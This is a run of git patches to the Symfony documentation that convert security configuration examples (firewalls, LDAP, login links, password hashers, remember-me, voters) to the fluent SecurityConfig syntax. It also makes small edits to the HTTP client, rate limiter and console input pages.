@@ -44,17 +44,16 @@ First, enable the JSON login under your firewall:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => '/login',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->anonymous();
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+            ;
+        };
 
 .. tip::
 
@@ -200,16 +199,15 @@ The security configuration should be:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => 'login',
-                        'username_path' => 'security.credentials.login',
-                        'password_path' => 'security.credentials.password',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->anonymous();
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+                ->usernamePath('security.credentials.login')
+                ->passwordPath('security.credentials.password')
+            ;
+        };
diff --git a/security/ldap.rst b/security/ldap.rst
index 8e6595a9df9..cabda06a72f 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -179,22 +179,21 @@ use the ``ldap`` user provider.
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->provider('ldap_users')
+                ->ldap()
+                    ->service(Ldap::class)
+                    ->baseDn('dc=example,dc=com')
+                    ->searchDn('cn=read-only-admin,dc=example,dc=com')
+                    ->searchPassword('password')
+                    ->defaultRoles(['ROLE_USER'])
+                    ->uidKey('uid')
+                    ->extraFields(['email'])
+            ;
+        };
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'ldap_users' => [
-                    'ldap' => [
-                        'service' => Ldap::class,
-                        'base_dn' => 'dc=example,dc=com',
-                        'search_dn' => 'cn=read-only-admin,dc=example,dc=com',
-                        'search_password' => 'password',
-                        'default_roles' => 'ROLE_USER',
-                        'uid_key' => 'uid',
-                        'extra_fields' => ['email'],
-                    ],
-                ],
-            ],
-        ]);
 
 .. caution::
 
@@ -397,18 +396,15 @@ Configuration example for form login
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                        // ...
-                    ],
-                ],
-            ]
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for HTTP Basic
 ....................................
@@ -454,20 +450,16 @@ Configuration example for HTTP Basic
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                    ],
-                    'stateless' => true,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for form login and query_string
 .....................................................
@@ -518,21 +510,19 @@ Configuration example for form login and query_string
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'dc=example,dc=com',
-                        'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))',
-                        'search_dn' => '...',
-                        'search_password' => 'the-raw-password',
-                    ],
-                ],
-            ]
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('dc=example,dc=com')
+                    ->queryString('(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
+                    ->searchDn('...')
+                    ->searchPassword('the-raw-password')
+            ;
+        };
 
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
diff --git a/security/login_link.rst b/security/login_link.rst
index ed8bb195e15..1e1641304a3 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -67,15 +67,14 @@ under the firewall. You must configure a ``check_route`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+            ;
+        };
 
 The ``signature_properties`` are used to create a signed URL. This must
 contain at least one property of your ``User`` object that uniquely
@@ -373,17 +372,16 @@ seconds). You can customize this using the ``lifetime`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // lifetime in seconds
-                        'lifetime' => 300,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    // lifetime in seconds
+                    ->lifetime(300)
+            ;
+        };
 
 .. _security-login-link-signature:
 
@@ -448,16 +446,15 @@ You can add more properties to the ``hash`` by using the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'signature_properties' => ['id', 'email'],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->signatureProperties(['id', 'email'])
+            ;
+        };
 
 The properties are fetched from the user object using the
 :doc:`PropertyAccess component </components/property_access>` (e.g. using
@@ -521,20 +518,20 @@ cache. Enable this support by setting the ``max_uses`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // only allow the link to be used 3 times
-                        'max_uses' => 3,
-
-                        // optionally, configure the cache pool
-                        //'used_link_cache' => 'cache.redis',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+
+                    // only allow the link to be used 3 times
+                    ->maxUses(3)
+
+                    // optionally, configure the cache pool
+                    //->usedLinkCache('cache.redis')
+            ;
+        };
 
 Make sure there is enough space left in the cache, otherwise invalid links
 can no longer be stored (and thus become valid again). Expired invalid
@@ -594,17 +591,16 @@ the authenticator only handle HTTP POST methods:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'check_post_only' => true,
-                        'max_uses' => 1,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->checkPostOnly(true)
+                    ->maxUses(1)
+            ;
+        };
 
 Then, use the ``check_route`` controller to render a page that lets the
 user create this POST request (e.g. by clicking a button)::
@@ -726,19 +722,17 @@ Then, configure this service ID as the ``success_handler``:
 
         // config/packages/security.php
         use App\Security\Authentication\AuthenticationSuccessHandler;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'lifetime' => 600,
-                        'max_uses' => 1,
-                        'success_handler' => AuthenticationSuccessHandler::class,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->lifetime(600)
+                    ->maxUses(1)
+                    ->successHandler(AuthenticationSuccessHandler::class)
+            ;
+        };
 
 .. tip::
 
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index c52b4cbd1e2..8c4647c49c6 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -63,23 +63,21 @@ This is how your security configuration can look in action:
         // config/packages/security.php
         use App\Security\FacebookConnectAuthenticator;
         use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'entry_point' => LoginFormAuthenticator::class,
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                            FacebookConnectAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $defaultFirewall = $security->firewall('default');
+            $defaultFirewall->lazy(true);
+            $defaultFirewall->anonymous();
+            $defaultFirewall->guard()
+                ->entryPoint(LoginFormAuthenticator::class)
+                ->authenticators([
+                    LoginFormAuthenticator::class,
+                    FacebookConnectAuthenticator::class,
+                ]);
+        };
 
 There is one limitation with this approach - you have to use exactly one entry point.
 
@@ -151,31 +149,32 @@ the solution is to split the configuration into two separate firewalls:
         // config/packages/security.php
         use App\Security\ApiTokenAuthenticator;
         use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('api')
+                ->pattern('^/api')
+                ->guard()
+                ->authenticators([
+                    ApiTokenAuthenticator::class,
+                ]);
+
+            $defaultFirewall = $security->firewall('default');
+            $defaultFirewall->lazy(true);
+            $defaultFirewall->anonymous();
+            $defaultFirewall->guard()
+                ->authenticators([
+                    LoginFormAuthenticator::class,
+                ]);
+
+            $security->accessControl()
+                ->path('^/login')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $security->accessControl()
+                ->path('^/api')
+                ->roles(['ROLE_API_USER']);
+            $security->accessControl()
+                ->path('^/')
+                ->roles(['ROLE_USER']);
+        };
 
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'api' => [
-                    'pattern' => '^/api',
-                    'guard' => [
-                        'authenticators' => [
-                            ApiTokenAuthenticator::class,
-                        ],
-                    ],
-                ],
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-            'access_control' => [
-                ['path' => '^/login', 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY'],
-                ['path' => '^/api', 'roles' => 'ROLE_API_USER'],
-                ['path' => '^/', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index 200a2174c28..06f31852020 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -44,16 +44,15 @@ to apply to all instances of a specific class:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ],
-            ],
-        ]);
+            $security->passwordHasher(User::class)
+                ->algorithm('auto')
+                ->cost(12)
+            ;
+        };
 
 Another option is to use a "named" hasher and then select which hasher
 you want to use dynamically.
@@ -99,15 +98,15 @@ be done with named hashers:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                'harsh' => [
-                    'algorithm' => 'auto',
-                    'cost'      => '15',
-                ],
-            ],
-        ]);
+            $security->passwordHasher('harsh')
+                ->algorithm('auto')
+                ->cost(15)
+            ;
+        };
 
 .. note::
 
@@ -177,17 +176,15 @@ you must register a service for it in order to use it as a named hasher:
     .. code-block:: php
 
         // config/packages/security.php
-        // ...
         use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                'app_hasher' => [
-                    'id' => MyCustomPasswordHasher::class,
-                ],
-            ],
-        ]);
+            $security->passwordHasher('app_hasher')
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
 
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
diff --git a/security/password_migration.rst b/security/password_migration.rst
index f49e01c887a..6dfcb39cbb2 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -81,26 +81,25 @@ on the new hasher to point to the old, legacy hasher(s):
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'password_hashers' => [
-                'legacy' => [
-                    'algorithm' => 'sha256',
-                    'encode_as_base64' => false,
-                    'iterations' => 1,
-                ],
-
-                'App\Entity\User' => [
-                    // the new hasher, along with its options
-                    'algorithm' => 'sodium',
-                    'migrate_from' => [
-                        'bcrypt', // uses the "bcrypt" hasher with the default options
-                        'legacy', // uses the "legacy" hasher configured above
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('legacy')
+                ->algorithm('sha256')
+                ->encodeAsBase64(true)
+                ->iterations(1)
+            ;
+
+            $security->passwordHasher('App\Entity\User')
+                // the new hasher, along with its options
+                ->algorithm('sodium')
+                ->migrateFrom([
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ])
+            ;
+        };
 
 With this setup:
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 2efbd8af94e..b14b012202f 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -63,24 +63,23 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'remember_me' => [
-                        'secret'   => '%kernel.secret%',
-                        'lifetime' => 604800, // 1 week in seconds
-                        'path'     => '/',
-                        // by default, the feature is enabled by checking a
-                        // checkbox in the login form (see below), uncomment
-                        // the following line to always enable it.
-                        //'always_remember_me' => true,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    ->lifetime(604800) // 1 week in seconds
+                    ->path('/')
+
+                    // by default, the feature is enabled by checking a
+                    // checkbox in the login form (see below), uncomment
+                    // the following line to always enable it.
+                    // ->alwaysRememberMe(true)
+            ;
+        };
 
 The ``remember_me`` firewall defines the following configuration options:
 
@@ -344,16 +343,14 @@ service you created before:
 
         // config/packages/security.php
         use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
                     // ...
-                    'remember_me' => [
-                        // ...
-                        'token_provider' => DoctrineTokenProvider::class,
-                    ],
-                ],
-            ],
-        ]);
+                    ->tokenProvider(DoctrineTokenProvider::class)
+            ;
+        };
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 40ed591cef3..a404a668932 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -110,14 +110,13 @@ is the service id of your user checker:
 
         // config/packages/security.php
         use App\Security\UserChecker;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'pattern' => '^/',
-                    'user_checker' => UserChecker::class,
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('main')
+                ->pattern('^/')
+                ->userChecker(UserChecker::class)
+                // ...
+            ;
+        };
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 3f5a7a5a7dd..f064507045d 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -90,24 +90,22 @@ to retrieve them:
 
         // config/packages/security.php
         use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        // the class of the entity that represents users
-                        'class'    => User::class,
-                        // the property to query by - e.g. username, email, etc
-                        'property' => 'username',
-                        // optional: if you're using multiple Doctrine entity
-                        // managers, this option defines which one to use
-                        // 'manager_name' => 'customer',
-                    ],
-                ],
-            ],
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->provider('users')
+                ->entity()
+                    // the class of the entity that represents users
+                    ->class(User::class)
+                    // the property to query by - e.g. username, email, etc
+                    ->property('username')
+                    // optional: if you're using multiple Doctrine entity
+                    // managers, this option defines which one to use
+                    ->managerName('customer')
+            ;
 
             // ...
-        ]);
+        };
 
 The ``providers`` section creates a "user provider" called ``users`` that knows
 how to query from your ``App\Entity\User`` entity by the ``username`` property.
@@ -195,18 +193,16 @@ To finish this, remove the ``property`` key from the user provider in
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
 
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        'class' => User::class,
-                    ],
-                ],
-            ],
-        ]);
+            $security->provider('users')
+                ->entity()
+                    ->class(User::class)
+            ;
+        };
 
 This tells Symfony to *not* query automatically for the User. Instead, when
 needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
@@ -271,15 +267,15 @@ users will hash their passwords:
         // (the 'InMemoryUser' class was introduced in Symfony 5.3.
         // In previous versions it was called 'User')
         use Symfony\Component\Security\Core\User\InMemoryUser;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                InMemoryUser::class => [
-                    'algorithm' => 'auto',
-                ],
-            ],
-        ]);
+
+            $security->passwordHasher(InMemoryUser::class)
+                ->algorithm('auto')
+            ;
+        };
 
 Then, run this command to hash the plain text passwords of your users:
 
diff --git a/security/voters.rst b/security/voters.rst
index f702277d008..d860886f175 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -333,12 +333,14 @@ security configuration:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'strategy' => 'unanimous',
-                'allow_if_all_abstain' => false,
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategy('unanimous')
+                ->allowIfAllAbstain(false)
+            ;
+        };
 
 Custom Access Decision Strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -378,10 +380,11 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
         // config/packages/security.php
         use App\Security\MyCustomAccessDecisionManager;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'service' => MyCustomAccessDecisionManager::class,
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->service(MyCustomAccessDecisionManager::class)
                 // ...
-            ],
-        ]);
+            ;
+        };

From cff3403316b9691724e439ce8481956eb15ccb52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 May 2021 09:18:32 +0200
Subject: [PATCH 0853/5766] Tweaks

---
 http_client.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 38ed8e7c0b8..69e1d323bc2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -716,10 +716,11 @@ HTTPS Certificates
 ~~~~~~~~~~~~~~~~~~
 
 HttpClient uses the system's certificate store to validate SSL certificates
-(while browsers are using their own stores). If you're using self-signed certificates
-during development, the recommended way is to create your own certificate authority (CA)
-and add it to your system's store.
-Alternatively, you can also disable `verify_host` and `verify_peer` (see
+(while browsers use their own stores). When using self-signed certificates
+during development, it's recommended to create your own certificate authority
+(CA) and add it to your system's store.
+
+Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see
 :ref:`http_client config reference <reference-http-client>`), but this is not
 recommended in production.
 

From 43b5d4a1ebcef819b9d7cf631ea551d440dc30a7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?C=C3=A9dric=20Bertolini?=
 <41571181+wizacedric@users.noreply.github.com>
Date: Tue, 11 May 2021 15:49:11 +0200
Subject: [PATCH 0854/5766] Clarifying how to autowire scoped HTTP clients

The documentation didn't make it very clear that the key of the "scoped_clients" array was the actual service name that could be used to autowire the service. By using the same name in the code example and in the paragraph about autowiring, that should be clearer to the reader.
---
 http_client.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 69e1d323bc2..a502730f1e7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -215,7 +215,7 @@ autoconfigure the HTTP client based on the requested URL:
             http_client:
                 scoped_clients:
                     # only requests matching scope will use these options
-                    github:
+                    github.client:
                         scope: 'https://api\.github\.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -224,7 +224,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     # using base_uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                     # will default to these options
-                    github:
+                    github.client:
                         base_uri: 'https://api.github.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -245,7 +245,7 @@ autoconfigure the HTTP client based on the requested URL:
             <framework:config>
                 <framework:http-client>
                     <!-- only requests matching scope will use these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         scope="https://api\.github\.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -254,7 +254,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     <!-- using base-uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                          will default to these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         base-uri="https://api.github.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -271,7 +271,7 @@ autoconfigure the HTTP client based on the requested URL:
             'http_client' => [
                 'scoped_clients' => [
                     // only requests matching scope will use these options
-                    'github' => [
+                    'github.client' => [
                         'scope' => 'https://api\.github\.com',
                         'headers' => [
                             'Accept' => 'application/vnd.github.v3+json',
@@ -282,7 +282,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                     // will default to these options
-                    'github' => [
+                    'github.client' => [
                         'base_uri' => 'https://api.github.com',
                         'headers' => [
                             'Accept' => 'application/vnd.github.v3+json',
@@ -329,8 +329,8 @@ Each client has a unique service named after its configuration.
 
 Each scoped client also defines a corresponding named autowiring alias.
 If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
+``Symfony\Contracts\HttpClient\HttpClientInterface $githubClient``
+as the type and name of an argument, autowiring will inject the ``github.client``
 service into your autowired classes.
 
 .. note::

From abfb19d9eb024874a362da644b51b5e14455d07f Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Thu, 20 May 2021 15:06:29 +0200
Subject: [PATCH 0855/5766] Closes \#15034 adds information about the lock
 being nullable

---
 rate_limiter.rst | 22 ++++++++++++++++++++--
 1 file changed, 20 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 96f0cd0e5e0..4f2d20b2b18 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -442,9 +442,9 @@ simultaneous requests (e.g. three servers of a company hitting your API at the
 same time). Rate limiters use :doc:`locks </lock>` to protect their operations
 against these race conditions.
 
-By default, Symfony uses the global lock configured by ``framework.lock``), but
+By default, Symfony uses the global lock configured by ``framework.lock``, but
 you can use a specific :ref:`named lock <lock-named-locks>` via the
-``lock_factory`` option:
+``lock_factory`` option (or none at all):
 
 .. configuration-block::
 
@@ -459,6 +459,9 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
                     # use the "lock.rate_limiter.factory" for this limiter
                     lock_factory: 'lock.rate_limiter.factory'
 
+                    # or don't use any lock mechanism
+                    lock_factory: null
+
     .. code-block:: xml
 
         <!-- config/packages/rate_limiter.xml -->
@@ -481,6 +484,14 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
                         lock-factory="lock.rate_limiter.factory"
                     />
 
+                    <!-- limiter-factory: or don't use any lock mechanism -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="null"
+                    />
+
                     <!-- ... -->
                 </framework:rate-limiter>
             </framework:config>
@@ -498,9 +509,16 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
                     // use the "lock.rate_limiter.factory" for this limiter
                     ->lockFactory('lock.rate_limiter.factory')
+
+                    // or don't use any lock mechanism
+                    ->lockFactory(null)
                 ;
         };
 
+.. versionadded:: 5.3
+
+    The login throttling doesn't use any lock since Symfony 5.3 to avoid extra load.
+
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/

From a0440212ab568aab85c9039f4dfc014e0d8c0559 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 23 Apr 2021 17:10:27 +0200
Subject: [PATCH 0856/5766] [CI] Dont use special reposiroty for
 symfony-tools/docs-builder

---
 .github/workflows/ci.yaml | 2 +-
 _build/composer.json      | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d5039a5e569..8af52fa5a47 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -36,7 +36,7 @@ jobs:
                 run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
     symfony-docs-builder-build:
-        name: Build (symfony/docs-builder)
+        name: Build (symfony-tools/docs-builder)
 
         runs-on: ubuntu-latest
 
diff --git a/_build/composer.json b/_build/composer.json
index 4934e45625f..8bfbd030cbe 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -13,7 +13,7 @@
     "require": {
         "php": ">=7.4",
         "symfony/console": "^5.2",
-        "symfony-tools/docs-builder": "^0.15.0",
-        "symfony/process": "^5.2"
+        "symfony/process": "^5.2",
+        "symfony-tools/docs-builder": "^0.15.0"
     }
 }

From 403cb3378a954290b963bfb944d387f36b8f40be Mon Sep 17 00:00:00 2001
From: Martin Melka <melkamar@users.noreply.github.com>
Date: Tue, 4 May 2021 10:31:31 +0200
Subject: [PATCH 0857/5766] Add explicit note about the type of VALUE_NONE

It was not clear what the default value nor what the type returned
from InputOption::VALUE_NONE is.
---
 console/input.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index 926a89604cd..60ab46fb48d 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -205,8 +205,8 @@ There are four option variants you can use:
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
 
 ``InputOption::VALUE_NONE``
-    Do not accept input for this option (e.g. ``--yell``). This is the default
-    behavior of options;
+    Do not accept input for this option (e.g. ``--yell``). The value returned from this option will be a boolean, ``false`` if the option is not provided.
+    This is the default behavior of options;
 
 ``InputOption::VALUE_REQUIRED``
     This value is required (e.g. ``--iterations=5`` or ``-i5``), the option

From 976e11a07b66069bb0cf442d949849a6d5b78dd8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 13:05:56 +0200
Subject: [PATCH 0858/5766] Tweaks

---
 console/input.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 60ab46fb48d..b7534d21abd 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -205,7 +205,8 @@ There are four option variants you can use:
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
